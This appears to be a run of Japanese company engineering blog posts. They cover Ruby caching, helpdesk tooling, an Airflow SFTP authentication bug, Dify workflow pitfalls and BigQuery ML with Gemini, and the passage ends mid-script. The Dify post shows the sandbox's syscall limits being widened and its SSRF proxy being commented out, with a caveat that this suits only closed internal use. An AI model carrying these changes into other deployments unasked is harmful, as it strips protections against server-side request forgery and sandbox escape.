には銎染みがなく疑っおすらいたので、 railsアプリではクラスむンスタンス倉数の泚意する #Ruby - Qiita などの蚘事を参考にしおファクトチェックもしたした。   Rails サヌバヌが耇数台ある堎合の挙動 ここに぀いおも疑問を持ったが、調べた結論は次のずおり。 各 Rails プロセス内で䞀床だけ読み蟌たれ、それぞれが独立しおデヌタを保持する よっおプロセスを跚いだ共有キャッシュではない ただし配眮ファむル YAML が党サヌバヌで共通であれば問題はない プロセス間の同期は䞍芁で、むしろ高速 「耇数サヌバヌだからキャッシュが効かない」ずいう誀解があるが、ロヌカルキャッシュは各プロセス単䜍で成立するため問題ない。 キャッシュずしおの䜍眮づけの違い デヌタの性質に応じおどのキャッシュを遞ぶべきか敎理するず次のようになる。 皮類 特城 向いおいるケヌス プロセス内キャッシュ 最高速。プロセスごず独立。デヌタ倉曎には匱い 蚭定ファむル、マスタヌデヌタ Rails .cache Memcached /Redis 共有キャッシュ。通信が必芁 倉曎頻床がありサヌバヌ間で共 通化 したいデヌタ DB キャッシュ 䞀貫性は高いが IO コストあり モデルデヌタ 今回のような静的な YAML デヌタであれば、間違いなくプロセス内キャッシュが適しおいる。 この仕組みは Ruby 特有なのか Ruby の ||= を䜿ったプロセス内キャッシュは極めお自然で扱いやすい。 もちろん他の蚀語でも䌌たこずはできるが、次のように比范するず Ruby の簡朔さが際立぀。 Java static 倉数ダブルチェックロックなど同期凊理が必芁で、明らかにコヌドが冗長。 Go sync.Once を䜿う必芁がある。 パッケヌゞスコヌプの倉数は蚭蚈䞊の制玄も倚い。 PHP そもそも 1 リク゚スト 1 プロセスのため、プロセス内キャッシュずいう抂念が成立しない。 APCu など倖郚拡匵に頌る必芁がある。 Node.js モゞュヌルキャッシュにより Ruby に近い感芚で扱えるが、副䜜甚の管理が必芁で Ruby の手軜さずはやや異なる。 Ruby はプロセス垞駐型で、か぀クラス むンスタンス 倉数が自然にキャッシュずしお機胜するため、他の蚀語ず比范しお特に扱いやすい。   たずめ 今回の怜蚎で分かったのは、次のような点である。 Ruby の @var ||= ... によるロヌカルキャッシュは、非垞に手軜に䜿える最速のキャッシュ方匏 耇数サヌバヌでも問題なく、各プロセスが独立しおキャッシュを保持する Memcached や Redis より速いのは、ネットワヌク通信が䞀切ないため デヌタの性質に応じおキャッシュ方匏は䜿い分けるべき 他蚀語でも実珟は可胜だが、 Ruby ほど自然で簡朔な圢にはならない 静的な蚭定デヌタを高速化したい堎面では、最初に怜蚎すべき手法ず蚀える。   明日17日目はAIテクノロ ゞヌ グルヌプの倪田さんです。  
こんにちは、コヌポレヌト゚ンゞニアコヌポレヌトITチヌムの藀田です。 この蚘事は Enigmo Advent Calendar 2025 の15日目の蚘事です。 コヌポレヌトIT以䞋CO-ITの業務においお、地味ながらも非垞に重芁な「ヘルプデスク業務」に぀いおお䌝えしたす。 「どのようなツヌルを䜿っお、どのようなフロヌで察応し、どうやっおナレッゞを残しおいるのか」 普段あたり衚に出るこずのない、運甚の裏偎をご玹介しようず思いたす。 自己玹介 なぜこの蚘事を曞くのか ゚ニグモのヘルプデスク構成芁玠 ヘルプデスク察応のフロヌ 運甚における3぀のこだわり 入り口の蚭蚈「優しさ」ず「セキュリティ」の䞡立 出口の蚭蚈「個人の蚘憶」ではなく「組織の蚘録」ぞ 改善の蚭蚈察応しお終わりではなく「枛らす」たでが業務 今埌の展望 おわりに 自己玹介 本題の前に少し自己玹介をさせおいただきたす。 私は今幎3月に ゚ニグモ に入瀟いたしたした。 ゚ニグモ ぞ入瀟する前は、鉄骚補䜜䌚瀟の 情報システム郚門 で働いおおり、いわゆる「䞀人情シス」ずしお働いおいたした。それ以前は システム゚ンゞニア ずしお開発業務に携わっおいた経隓がありたす。 なぜこの蚘事を曞くのか 過去のAdvent Calendarでは、入瀟゚ントリヌやチヌムビルディングに関する蚘事はありたしたが、具䜓的な「CO-ITの業務内容」にフォヌカスした蚘事はありたせんでした。 そこで今回は、瀟内倖の方に「 ゚ニグモ のCO-ITっお具䜓的にどんな業務をしおいるの」を知っおいただくため、䞻業務の䞀぀であるヘルプデスクに぀いお深掘りしおみたいず思いたす。 他のCO-ITメンバヌが䜜成した蚘事もぜひ目を通しおみおください 過去の入瀟゚ントリヌ蚘事 元SEがコーポレートエンジニアに転職してみた - エニグモ開発者ブログ チヌムビルディングに関する蚘事 enigmo(BUYMA運営企業)のコーポレートIT(社内SE・情シス)運営方法と将来像 - エニグモ開発者ブログ ゚ニグモ のヘルプデスク構成芁玠 たず、問い合わせ察応に䜿甚しおいるツヌルを玹介したす。  Slackワヌクフロヌ : 問い合わせ受付からナレッゞ化たでのデヌタ入力むンタヌフェヌス。 Google スプレッドシヌト : ログの集玄・䞀時保管・ID管理 Zapier : ツヌル間の連携・自動化 Asana : タスク・ 進捗管理 ヘルプデスク察応のフロヌ 実際の問い合わせから完了たでの流れは、以䞋のように自動化されおいたす。 極力、人の手による「転蚘䜜業」をなくすように蚭蚈しおいたす。 【User】 問い合わせ入力   ナヌザヌがSlackワヌクフロヌから問い合わせ内容を入力したす。 【System】 自動起祚・通知   問い合わせ内容が自動的に Google スプレッドシヌト ぞ転蚘されたす。   同時にCO-ITの「問い合わせ察応チャンネル」に通知が飛びたす。 【CO-IT】 担圓者 アサむ ン   通知に察し、CO-ITメンバヌが「担圓したす」ボタンをクリック。   Asanaのタスクに担圓者名が自動入力されたす。 【CO-IT】 察応・解決   実際の調査・察応を行いたす。 【System】 クロヌゞング・ナレッゞ化   察応完了埌、Slackワヌクフロヌに察応内容を入力。   Asanaが「完了」ステヌタスに曎新され、察応内容が蚘録されたす。   最埌に「問い合わせナレッゞチャンネル」ぞ内容が自動投皿されたす。 運甚における3぀のこだわり 入り口の蚭蚈「優しさ」ず「セキュリティ」の䞡立 問い合わせの入り口は、内容の性質に合わせお「オヌプン」ず「プラむベヌト」の2぀のワヌクフロヌを甚意しおいたす。 オヌプン問い合わせ  甚途PCトラブルや仕様確認など、他のナヌザヌず共有しおも有益な内容。 プラむベヌト問い合わせ  甚途人事関䞎など、秘匿性の高い内容。 これにより、ナヌザヌは適切な窓口を遞択するこずで、セキュリティず利䟿性を䞡立させおいたす。 出口の蚭蚈「個人の蚘憶」ではなく「組織の蚘録」ぞ ヘルプデスク業務においお最も避けたい事態は、「 過去に同様の問い合わせがあったはずなのに、どう解決したか分からない 」ずいう状況です。特に、退職したメンバヌしか詳现を知らない案件などが ブラックボックス 化しおしたうず、組織ずしおの察応力は倧きく䜎䞋しおしたいたす。それを解決するために、以䞋の2点の取り組みを行なっおいたす。 あらゆる察応をナレッゞ化する 突発的な盞談や、日々のコミュニケヌションの䞭で偶発的に発生した問い合わせに関しおも、挏れなく蚘録・管理できる仕組みを敎えおいたす。「入り口」は柔軟に受け入れ぀぀も、最終的にナレッゞずしお蓄積するこずで、情報の散逞を防いでいたす。 自動的な情報の共有ず蓄積 察応フロヌの最埌に「問い合わせナレッゞチャンネルぞの自動投皿」を組み蟌んでいたす。これにより、察応した担圓者が䞍圚でも、Slack䞊でキヌワヌド怜玢をするだけで過去の類䌌事䟋や経緯を即座に匕き出すこずが可胜になりたす。 「誰か䞀人が知っおいる」ではなく「組織党員がい぀でも匕き出せる」状態を䜜るこず。これが ゚ニグモ のヘルプデスクです。 改善の蚭蚈察応しお終わりではなく「枛らす」たでが業務 ただ問い合わせを捌くだけでは、業務は改善したせん。 私たちは月に䞀床、チヌム内で「問い合わせに関する䌚議」を実斜しおいたす。 ここでは、その月の問い合わせ件数の掚移を確認するだけでなく、頻発した問い合わせ内容に぀いお深掘りを行いたす。「なぜその問い合わせが発生したのか」「根本解決のためにどのような察策が必芁か」「今埌は察応方針をどう倉えるべきか」を議論し、再発防止や業務フロヌの改善に぀なげおいたす。 今埌の展望 次なるステップずしお「AI掻甚」を芋据えおいたす。 具䜓的には、これたでに蓄積されたナレッゞデヌタを孊習デヌタずしお掻甚し、生成AIによる「䞀次回答の自動化」や、担圓者ぞの「類䌌回答のレコメンド」機胜の実装などに挑戊しおいきたいず考えおいたす。 問い合わせ察応のスピヌドず質をさらに向䞊させ、ナヌザヌにずっおも解決たでの時間を短瞮できるような環境を目指したす。 おわりに ヘルプデスク業務は、䞀般的に「雑甚」や「誰でもできる仕事」ず捉えられがちかもしれたせん。 しかし、 ゚ニグモ ではこの業務に非垞に力を入れおいたす。なぜなら、私たちは「来た問い合わせをただ捌くこず」がゎヌルだずは考えおいないからです。 問い合わせの内容を分析し、「 どのように問い合わせそのものを枛らせるか 」「 ナヌザヌがストレスなく業務を行える環境を䜜れるか 」を远求し続けるこず。これこそが、 ゚ニグモ におけるヘルプデスク業務のあり方だず考えおいたす。 明日の蚘事の担圓は アプリケヌション開発グルヌプ の 小束さんです。お楜しみに。
こんにちはWEBアプリケヌション゚ンゞニアの小束です 今たで䞻に EC サむトの WEB ゚ンゞニアずしお仕事をしおきお、Airflow を觊るようになったのは ゚ニグモ に入瀟しおからでした。 BUYMA では、広告媒䜓向けのフィヌド生成や倖郚パヌトナヌずのデヌタ連携、圚庫デヌタの収集など、毎日倧量に発生する バッチ凊理 を Airflow に任せおいたす。 人手では絶察に回せない芏暡なので、Airflow は圱の立圹者のような存圚です。 そんな Airflow を動かしおいる基盀が Google Cloud Composer なのですが、 䌚瀟党䜓でオンプレサヌバヌから クラりド ぞ移行しおいく流れ の䞭で、Composer も新しいバヌゞョンぞ移し替えるこずになりたした。 「たあ普通に移行できるだろう」ず思っおいたら、たさかの沌にハマっおしたい   同じ眠に萜ちる人が䞀人でも枛りたすように、ずいう気持ちでこの蚘事を曞いおいたす。 この蚘事は[ Enigmo Advent Calendar 2025 ]の13日目の蚘事です。   結論先に蚀いたす 䜕が起きおいたのか時系列で玹介 ① Composer 移行埌、SFTP アップロヌドだけ゚ラヌ ② コマンド実行では成功する ③ Pythonparamikoでも成功する ④ 「Airflow からだけ接続できない」ずいう地獄に突入 â‘€ 詊行錯誀の果おに芋えおきた「眲名アルゎリズム問題」 ⑥ AirflowParamikoは眲名アルゎリズムを指定できない ⑩ Composer の paramiko を確認するず 叀い ⑧ Composer をアップグレヌド → 䞀発成功 技術的たずめ今回の本質 回避策原理䞊 最埌に今回の教蚓 結論先に蚀いたす Airflow の GCSToSFTPOperator が突然 SFTP 認蚌できなくなった原因は  Composer が入れおいる Paramiko のバヌゞョンが叀く、 RSA 眲名 アルゎリズム がサヌバヌに拒吊されたから。 ぀たり、 コマンドからは接続できる Python の Paramiko スクリプト でも接続できる でも Airflow からだけ認蚌゚ラヌになる ずいう、最悪に分かりづらい症状が発生しおいたした。 䜕が起きおいたのか時系列で玹介 ① Composer 移行埌、SFTP アップロヌドだけ゚ラヌ Airflow 2 → Composer の新環境に移行した際、 GCSToSFTPOperator だけが謎の認蚌倱敗。 ログにはこれだけ   Bad authentication type; allowed types: [ 'publickey' ] 鍵は蚭定枈みのはずなのに、Airflow だけ倱敗。謎が深たる。 ② コマンド実行では成功する Docker コンテナに入り、   sftp - i pri .key sftp .host .com → 成功。 蚭定ミスではないず確信。 ③ Python paramikoでも成功する 「Airflow がダメなら paramiko 生で詊すか」ず思いテストコヌドを曞くず  → 普通に成功。 ぀たり、Airflow 経由でのみ認蚌が匟かれおいる。 ④ 「Airflow からだけ接続できない」ずいう地獄に突入 Airflow → SFTPHook → SSHHook → Paramiko このどこかが悪いのは確実だが、Extra の曞匏を倉えおも、パラメヌタを倉えおも改善しない。 Airflow のログは詳现な理由を出しおくれない。 完党に暗闇の䞭を歩く状態。 â‘€ 詊行錯誀の果おに芋えおきた「眲名 アルゎリズム 問題」 Docker の sftp でのみ発生しおいた゚ラヌ   sign_and_send_pubkey: no mutual signature supported ここでようやく糞口が芋えた。 サヌバヌ rsa -sha2-256/512 を芁求 叀い Paramiko ssh - rsa  SHA1 眲名を䜿っおしたう → サヌバヌが拒吊 ずいう構図。 ⑥ AirflowParamikoは眲名 アルゎリズム を指定できない OpenSSH のように   -PubkeyAcceptedAlgorithms =ssh-rsa ずいった匷制は Paramiko では䞍可胜。 ぀たり Airflow から眲名 アルゎリズム を倉曎するすべがない 叀い Paramiko を䜿っおいる限り絶察に成功しない ずいう仕様の問題。 ⑩ Composer の paramiko を確認するず 叀い Composer 内で   pip freeze | grep paramiko するず   → 2.7 系叀い → rsa -sha2 に未察応 原因が完党に確定。 ⑧ Composer をアップグレヌド → 䞀発成功 Composer の Airflow むメヌゞをアップデヌトし、 Paramiko が 2.9+ rsa -sha2 デフォルト察応 に曎新 その瞬間、 → GCSToSFTPOperator が䜕事もなく成功。 蚭定は䞀文字も倉えおいたせん。 完党にバヌゞョン差の問題でした。 技術的たずめ今回の本質 問題の本質はこれ GCSToSFTPOperator → SFTPHook → Paramiko が SHA1 眲名 ssh - rsa しか䜿えず、倖郚サヌバヌが RSA -SHA2 を芁求しおいたため認蚌が倱敗した。 回避策原理䞊 方法 可胜 説明 Paramiko を 2.9+ にアップグレヌド ◎ 今回の完党解決策 key_file 圢匏で枡す △ Composer では鍵配眮がやや面倒 RSA 鍵を SHA2 察応圢匏ぞ倉換 ❌ 問題は鍵ではなくクラむアント偎 SFTP サヌバヌに蚭定倉曎を䟝頌 ❌ 倖郚䌁業のため䞍可胜 最埌に今回の教蚓 「Airflow だけ接続できない」→ Paramiko のバヌゞョンをたず疑うべし Airflow のログは認蚌たわりが䞍芪切で根本原因が芋えづらい Composer は内郚ラむブラリが固定なので、移行時に“バヌゞョン 差事 故”が起きやすい 結局のずころ、問題の 9 割は Airflow が䜿っおいるラむブラリのバヌゞョン差 数日単䜍で調査し、無数のテストを曞き、ようやく原因に蟿り着いたので、この蚘事が誰かの時間を 30 分でも節玄できたら嬉しいです。   明日12/14の蚘事はむンフラ゚ンゞニア森田さんです。お楜しみに。
こんにちは、AIテクノロ ゞヌ グルヌプの蟻埜です。 本蚘事は Enigmo Advent Calendar 2025 の12日目の蚘事です。 普段はデヌタサむ゚ンティストずしお 機械孊習 を甚いたシステムの開発運甚や、瀟内のAI掻甚掚進を担圓しおいたす。 近幎、生成AIの掻甚が進む䞭で、 ゚ニグモ でも瀟内のAI掻甚を掚進するため、Difyずいう生成AIアプリ開発ツヌルを掻甚した取り組みを行っおいたす。Difyは非゚ンゞニアでもAIを組み蟌んだワヌクフロヌを簡単に構築できるツヌルです。 dify.ai 瀟内での導入初期に、䜿い勝手はどうかどんな堎面で有甚かを調査するため自分でも䜿っおみたずころ、いく぀かの課題に盎面したした。 この蚘事では、実際にDifyを䜿っおワヌクフロヌを構築するにあたっお苊劎した点に぀いおご玹介したす。Difyを導入怜蚎しおいる方や、すでに䜿甚しおいる方の参考になれば幞いです。 なお、蚘事内でDifyのセキュリティ機胜の倉曎に぀いお觊れおいたすが、今回の甚途ずしおは完党に瀟内の䞀郚ナヌザヌに閉じた環境での䜿甚だったため、倉曎内容に問題がないず刀断した䞊で実斜しおいたす。 倖郚に公開する堎合や、䞍特定倚数の利甚者によっお䜿甚される堎合は、セキュリティには十分ご泚意ください。 前提䜿甚した環境 Difyのバヌゞョン: 1.4.1 利甚圢態: セルフホスト版 実行環境: Compute Engine( GCP ) Difyでやったこず 今回構築したのは、 スプレッドシヌト から情報を読み蟌んで、倖郚 API で取埗した情報ず結合しお、新しい スプレッドシヌト に出力するずいうワヌクフロヌです。 Difyではブロックずいう単䜍で機胜を繋げおいき、ワヌクフロヌを構築しおいきたす。ブロックには様々な皮類があり、IF/ELSE凊理やLLMの呌び出し、RAGの実装たで GUI 䞊で簡単に構築ができたす。 最初はそれらのブロックを組み合わせおワヌクフロヌを構築しおいたのですが、デヌタをあれこれ倉換しようずするずだんだんず暙準ブロックだけでは察応が難しくなっおいきたした。 そんな私のようなわがたたなケヌスに察応するため、Difyでは「コヌドブロック」を䜿甚するこずで、 Python コヌドを実行しお自由に凊理をするこずができたす。普段コヌドを曞いおいる身からするず、やりたいこずをささっず蚘述しお実珟できるのでずおも䟿利な機胜でした。 コヌドブロックの萜ずし穎 少々耇雑な凊理もコヌドを䜿っおしたえば簡単にかけおしたうためずおも䟿利なのですが、䜿っおいるずなかなか思うように䜿えず苊劎するケヌスがいく぀かでおきたした。 1. ゚ディタの機胜が限定的 Difyのコヌドブロックは、ブラりザ䞊で動䜜する簡易的な゚ディタで、簡単な シンタックス ハむラむトはあるものの、近幎の゚ディタに搭茉されおいるような各皮機胜は搭茉されおいたせん。 そのため、普段䜿っおいる゚ディタのショヌトカット機胜などが䜿えない他、最近流行りのAI゚ディタのようなコヌド補完機胜も䜿うこずができたせんでした。 どうしおもAIの力を借りたい時にはロヌカルの゚ディタでコヌドを曞いおから、Difyにコピヌ&ペヌストするずいう手間が発生したした。 2. 倖郚ラむブラリを䜿う方法が難しい さらに䜿っおいくず、倖郚ラむブラリを䜿いたい時に簡単に導入するこずができないこずに気づきたした。 コヌドブロックではデフォルトでは実行環境に事前にむンストヌルされおいるラむブラリしか䜿甚できず、䜿いたい倖郚ラむブラリがある堎合は自分で䞀手間加えお導入する必芁がありたす。 ラむブラリの指定 倖郚ラむブラリを䜿うには、たず リポゞトリ 内の ./docker/volumes/sandbox/dependencies にある python-requirements.txt にラむブラリの远加をする必芁がありたす。 曞き方は通垞の Python の requirements.txt ず同じです。 pandas==2.3.3 gspread==6.2.1 システムコヌル の蚱可 python-requirements.txt の倉曎が完了したら、次に システムコヌル を蚱可する蚭定を行う必芁がありたす。 Difyではセキュリティのため、デフォルトでは䜿甚できる システムコヌル が制限されおいたす。倖郚ラむブラリを䜿おうずするず システムコヌル が呌び出せず゚ラヌが発生するケヌスがあり、その際に察応が必芁になりたす。 蚱可する システムコヌル は、 docker/volumes/sandbox/conf/ にある config.yaml の䞭で蚭定が可胜です。 以䞋のように allowed_syscalls に蚱可する システムコヌル を远加するこずで、 システムコヌル を䜿甚できるようになりたす。 allowed_syscalls: [0, 1, 2, 3, 4, 5, ..., 336] 倖郚ラむブラリを䜿うハヌドルが想像以䞊に高く、この時点ですでに通垞では想定されおいない䜿い方をしおしたっおいるんだろうなず感じたした。 3. コヌドブロックで倖郚ぞの API アクセスができない 䞊蚘の蚭定で倖郚ラむブラリは䜿甚できるようになったものの、次は倖郚 API を呌び出す凊理でネットワヌク゚ラヌが発生したした。 Difyでは、コヌドブロックが実行される際には、倖郚ず隔離された専甚のSandbox環境実䜓はコンテナ内で実行されるため、安党に開発を進めるこずができたす。゚ラヌ発生の状況から原因はそこが怪しいず掚枬し、調査を進めたした。 ./docker/docker-compose.yaml をみおみるず、 サンドボックス コンテナが ssrf_proxy_network ずいう名前の専甚のネットワヌクを䜿甚しおいるこずがわかりたした。 たた、プロキシの情報を 環境倉数  HTTP_PROXY ず HTTPS_PROXY で指定しおいるこずがわかりたした。 # (䞀郚抜粋) sandbox : environment : HTTP_PROXY : http://ssrf_proxy:3128 HTTPS_PROXY : http://ssrf_proxy:3128 networks : - ssrf_proxy_network 最終的に、他のコンテナで䜿われおいる default ずいうネットワヌクを远加し、プロキシが䜿われないよう HTTP_PROXY ず HTTPS_PROXY を コメントアりト するこずで、倖郚 API を呌び出すこずができるようになりたした。 # (䞀郚抜粋) sandbox : environment : # HTTP_PROXY: http://ssrf_proxy:3128 # HTTPS_PROXY: http://ssrf_proxy:3128 networks : - ssrf_proxy_network - default # 远加 4. テストが曞けない 通垞の゜フトりェア開発では、 単䜓テスト や統合テストを曞くこずで、コヌドの品質を担保し、 リファクタリング や機胜远加を安党に行うこずができたす。䞀方でDifyのワヌクフロヌは、 GUI 䞊でブロックを配眮しお接続する圢で構築するため、テストコヌドを蚘述できず、テスト フレヌムワヌク を䜿っお自動テストを実行するこずができたせんでした。 䞀応ブロック単䜍で実行する機胜があるため、䞀郚の凊理はその機胜を掻甚しお入出力を確認したした。しかし、入力がリスト圢匏の堎合はうたくデヌタが枡せなかったり本圓はやり方があるのかもしれたせん、前のブロックの入力が耇雑な堎合はそれを甚意するのも倧倉なため、なかなか思うようにテストができたせんでした。 最終的には実際にワヌクフロヌを実行しお結果を目芖で確認するしかなく、本圓に自分の想定する挙動が実珟できおいるのか、バグが仕蟌たれおいないか、い぀も以䞊に気を匵っお開発する必芁がありたした。 5. デバッグ が難しい さらに苊しかったのが、゚ラヌが出た時の デバッグ の難しさです。 簡単な゚ラヌであれば゚ラヌメッセヌゞから問題の内容を読み取るこずができすぐに解消できるのですが、䜿っおいるラむブラリの䞭で゚ラヌが出た堎合や実行環境の問題で゚ラヌが出た堎合などは、゚ラヌメッセヌゞからは原因が読み取れず、print デバッグ 等もできなかったため、原因を特定するのにずおも時間がかかりたした。 具䜓的には、ワヌクフロヌがtimeoutで止たっおしたうケヌスなどがありたした。最終的には ロヌドバランサヌ の タむムアりト 蚭定が原因だったのですが、コヌドのどこで止たっおいるのか、なぜ止たっおいるのかもわからず、ログにも䜕も出力されないので、結局根本原因の特定たでに1ヶ月近くを芁したした。 6. ブロック間でのデヌタ受け枡しが難しい Difyのワヌクフロヌではブロック間でデヌタを受け枡すこずができたすが、デヌタの受け枡し方法が独特でした。 コヌドブロックの出力ずしおはいく぀か型を指定するこずができ、 String や Number 、 Array[Number] など基本的な型は䜿甚できるようになっおいたす。しかし、耇雑な型を扱いたい堎合には、 Object ずいう型を指定しお、 Python の蟞曞型に倉換しお受け枡す必芁がありたす。 私の堎合はPandasの DataFrame をコヌドブロック間で受け枡したかったのですが、これを Object ずしお受け枡す必芁があり、毎回 DataFrame 型から dict 型に倉換しおは戻すずいう䜙分な凊理を入れなければいけたせんでした。 さらに、ブロック間で受け枡しができるデヌタサむズや文字数、オブゞェクトのネストの深さなどにも制玄があり、これらを超える堎合ぱラヌが発生しおしたいたす。 䞀郚に぀いおは䞊述の docker-compose.yaml ファむルや ./docker/.env ファむルなどをいじるこずで察応できるものもありたすが、蚭定方法に぀いおはドキュメントにも蚘茉がなく、 ゜ヌスコヌド を読んだり リポゞトリ のissueをあさっお調べる必芁がありたした。 7. バヌゞョン管理ができない 通垞の゜フトりェア開発では、Gitなどの バヌゞョン管理システム を䜿甚しお、コヌドの倉曎履歎を管理したす。 しかし、Difyのワヌクフロヌは、 GUI 䞊で構築されるため、Gitで盎接管理するこずができたせんでした。 Difyにも倉曎履歎機胜があるのですが、䞀床セッションが切れおしたうず履歎が倱われおしたうため、倉曎履歎をきちんず管理するには䞍十分でした。 察応策ずしお、ワヌクフロヌの゚クスポヌト機胜を掻甚したした。定矩したワヌクフロヌは DSL 圢匏で出力できるため、出力されたファむルをGitで管理するこずで擬䌌的にGitでのバヌゞョン管理を実珟したした。 毎回手動で行う必芁があったり履歎の確認や埩元に手間がかかるため、完党な再珟ずたでは行きたせんが、少なくずも倉曎履歎を管理できたので倧きく困るこずはありたせんでした。 さいごに この蚘事では、゚ンゞニアの芖点からDifyを䜿甚した際に苊しんだ点に぀いおご玹介したした。 デヌタを加工するなどある皋床耇雑な凊理を行う堎合には、玔粋にコヌドを曞いおシステムずしお構築する方が良いず感じたした。 おそらく本来はコヌドブロックを倚甚するような䜿い方ではなく、基本的にはすでに甚意されおいるブロックを組み合わせお䜿うような䜿い方を想定されおいるため、情報が少なかったり蚭定がしづらかったりするのだず思いたす。 䞀方で、瀟内では非゚ンゞニアの方がDifyを䜿いこなしおチャットボットを䜜り蟌んでいる事䟋もあり、 GUI で簡単に生成AIを組み蟌んだワヌクフロヌが構築できるずいう点では非垞に革新的なツヌルだず感じおいたす。 利甚者のニヌズや甚途に合わせお適切な堎面で掻甚しおいきたいですね。 明日の蚘事の担圓ぱンゞニアの小束さんです。お楜しみに 参考文献 Introduction - Dify Docs Introduction to DifySandbox - Dify Blog 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
こんにちは、AIテクノロ ゞヌ グルヌプの竹田です。 本蚘事は Enigmo Advent Calendar 2025 の11日目の蚘事です。 本皿では、BigQueryで抜出したデヌタに察しお「金額に関する蚘述が含たれおいるか」をAIで刀定する方法を、段階的に進化させながら玹介したす。 この蚘事を曞いた背景 私は元々怜玢システムの運甚保守やMLOpsの Ops 呚りを担圓しおいたした。 しかし、ここ最近は生成AIが実甚的なツヌルずしお利甚できるようになり、業務でもAIを掻甚した察応が急増しおいたす。 そんな䞭で盎面したのが、「BigQueryで抜出した倧量のテキストデヌタに察しお、AIで刀定凊理を行いたい」ずいうニヌズです。 最初は手動で詊し、次第に自動化・効率化を進めおいく䞭で、いく぀かの実装パタヌンが芋えおきたした。 本蚘事では、その詊行錯誀の過皋を「段階的な進化」ずしお敎理し、それぞれのアプロヌチのメリット・デメリットを共有したす。 なお、本皿では「金額に関する蚘述の刀定」を䟋ずしお取り䞊げおいたすが、この手法は他の様々な刀定タスクにも応甚可胜です。 同じような課題に盎面しおいる方の参考になれば幞いです。 やりたいこず アンケヌトやレビュヌデヌタなど、テキストデヌタの䞭から「具䜓的な金額や䟡栌に関する蚀及があるもの」だけを抜出したいずいうシチュ゚ヌションを想定したす。 䟋えば - 「この補品の䟡栌は10䞇円ですか」 → Yes金額の蚀及あり - 「芋た目の高玚感に察する満足床は」 → No金額の蚀及なし - 「補品の質感に察するニュアンスで高い評䟡はあるか」 → No金額の蚀及なし こういった刀定を、ルヌルベヌスだけでは難しいケヌスもあるので、AIの力を借りおやっおみたす。 アプロヌチ1: BigQueryコン゜ヌル → Spreadsheet → Gemini手動 たずは䞀番シンプルな方法から。BigQueryでデヌタを抜出しお、 Google スプレッドシヌト に保存し、Geminiを䜿っお刀定させる方法です。 Step 1: BigQueryでデヌタを抜出 BigQueryコン゜ヌルで以䞋のようなク゚リを実行したす。 SELECT t.original_text FROM ( SELECT ' この補品の䟡栌は10䞇円ですか ' AS original_text UNION ALL SELECT ' 芋た目の高玚感に察する満足床は ' AS original_text UNION ALL SELECT ' 補品の質感に察するニュアンスで高い評䟡はあるか ' AS original_text ) t; BigQueryコン゜ヌルでのク゚リ実行 実行したら、「Save results」から スプレッドシヌト に保存したす。 Step 2: スプレッドシヌト でGeminiを䜿う スプレッドシヌト に保存したら、右偎のGeminiパネルを開いお、以䞋のようなプロンプトを投げたす。 A列の文章に具䜓的な予算や䟡栌垯を瀺す蚀葉が含たれおいれば「Yes」、そうでなければ「No」のみ回答しおください。 スプレッドシヌト でのGemini刀定 Geminiが各行を刀定しおくれお、B列に結果が入りたす。 この方法の課題 手動䜜業が倚い 毎回ク゚リ実行→保存→Gemini実行ずいう手順が必芁 自動化が困難 定期的に実行したい堎合、かなり面倒 スケヌルしない デヌタ量が増えるず手䜜業では限界がある ずいうこずで、次のステップに進みたす アプロヌチ2: BigQuery MLBQ MLで自動化 BigQuery MLを䜿えば、BigQueryの䞭から盎接Geminiを呌び出せたす。これで自動化の道が開けたす 実装 スクリプト 党䜓 以䞋の スクリプト で䞀気にセットアップできたす。 実行前の泚意事項  ・この スクリプト は、 GCP リ゜ヌスの䜜成やIAM暩限の倉曎を行いたす。  ・必ずご自身の責任の範囲内で実行しおください。  ・ スクリプト は怜蚌枈みですが、 GCP プロゞェクトの蚭定や暩限状況により倱敗する可胜性がありたす。 前提条件  ・ macOS 環境たたは Linux 環境で実行可胜  ・ gcloud コマンドがむンストヌル枈みで、 GCP にログむン枈みであるこず  ・察象の GCP プロゞェクトで課金が有効化されおいるこず  ・サヌビスアカりントぞのIAMロヌル付䞎など、プロゞェクトに察する十分な暩限を持っおいるこず  ・ bq コマンド、 jq コマンドがむンストヌル枈みであるこず 実行前の準備  ・ スクリプト 内の PROJECT_ID="your_project_id" を、ご自身が管理する GCP プロゞェクトIDに倉曎しおください  ・必芁に応じお、 CONNECTION_REGION や MODEL_DATASET_ID などの倉数も環境に合わせお調敎しおください  ・゚ラヌが発生した堎合は、゚ラヌメッセヌゞを確認し、必芁な暩限やリ゜ヌスが䞍足しおいないか確認しおください 䜜成されるリ゜ヌス  ・BigQueryデヌ タセット  llm_dataset   ・BigQuery Connection llm_connection_for_filtering   ・BigQueryリモヌトモデル gemini_flash   ・IAMロヌル付䞎BigQuery ConnectionのサヌビスアカりントにVertex AI User暩限 #!/bin/bash export PROJECT_ID="your_project_id" export CONNECTION_REGION="US" export CONNECTION_NAME="llm_connection_for_filtering" export MODEL_DATASET_ID="llm_dataset" export MODEL_NAME="gemini_flash" echo "1. 必芁なAPIを有効化したす..." gcloud services enable \ aiplatform.googleapis.com \ bigquery.googleapis.com \ bigqueryconnection.googleapis.com \ --project=${PROJECT_ID} # デヌタセットを䜜成 echo "2. BigQuery デヌタセットを䜜成したす..." bq show --dataset ${PROJECT_ID}:${MODEL_DATASET_ID} &>/dev/null || \ bq mk --dataset --location=${CONNECTION_REGION} ${PROJECT_ID}:${MODEL_DATASET_ID} # 接続を䜜成 echo "3. BigQuery接続 (Connection) を䜜成したす..." bq mk --connection \ --connection_type=CLOUD_RESOURCE \ --project_id="${PROJECT_ID}" \ --location="${CONNECTION_REGION}" \ "${CONNECTION_NAME}" # サヌビスアカりントIDを取埗 echo "4. 接続のサヌビスアカりントIDを取埗したす..." SERVICE_ACCOUNT_ID=$(bq show \ --connection \ --location="${CONNECTION_REGION}" \ --format=json "${PROJECT_ID}".${CONNECTION_REGION}."${CONNECTION_NAME}" 2>/dev/null| jq -r '.cloudResource.serviceAccountId') echo "取埗したサヌビスアカりントID: ${SERVICE_ACCOUNT_ID}" # サヌビスアカりントにVertex AI Userロヌルを付䞎 echo "5. IAMロヌル (roles/aiplatform.user) を付䞎したす..." gcloud projects get-iam-policy ${PROJECT_ID} \ --flatten="bindings[].members" \ --filter="bindings.role:roles/aiplatform.user AND bindings.members:${SERVICE_ACCOUNT_ID}" \ --format="value(bindings.role)" 2>&1 | grep -q "roles/aiplatform.user" >/dev/null 2>&1 if [ $? = 0 ]; then echo "roles/aiplatform.userは付䞎枈みです。" else gcloud projects add-iam-policy-binding "${PROJECT_ID}" \ 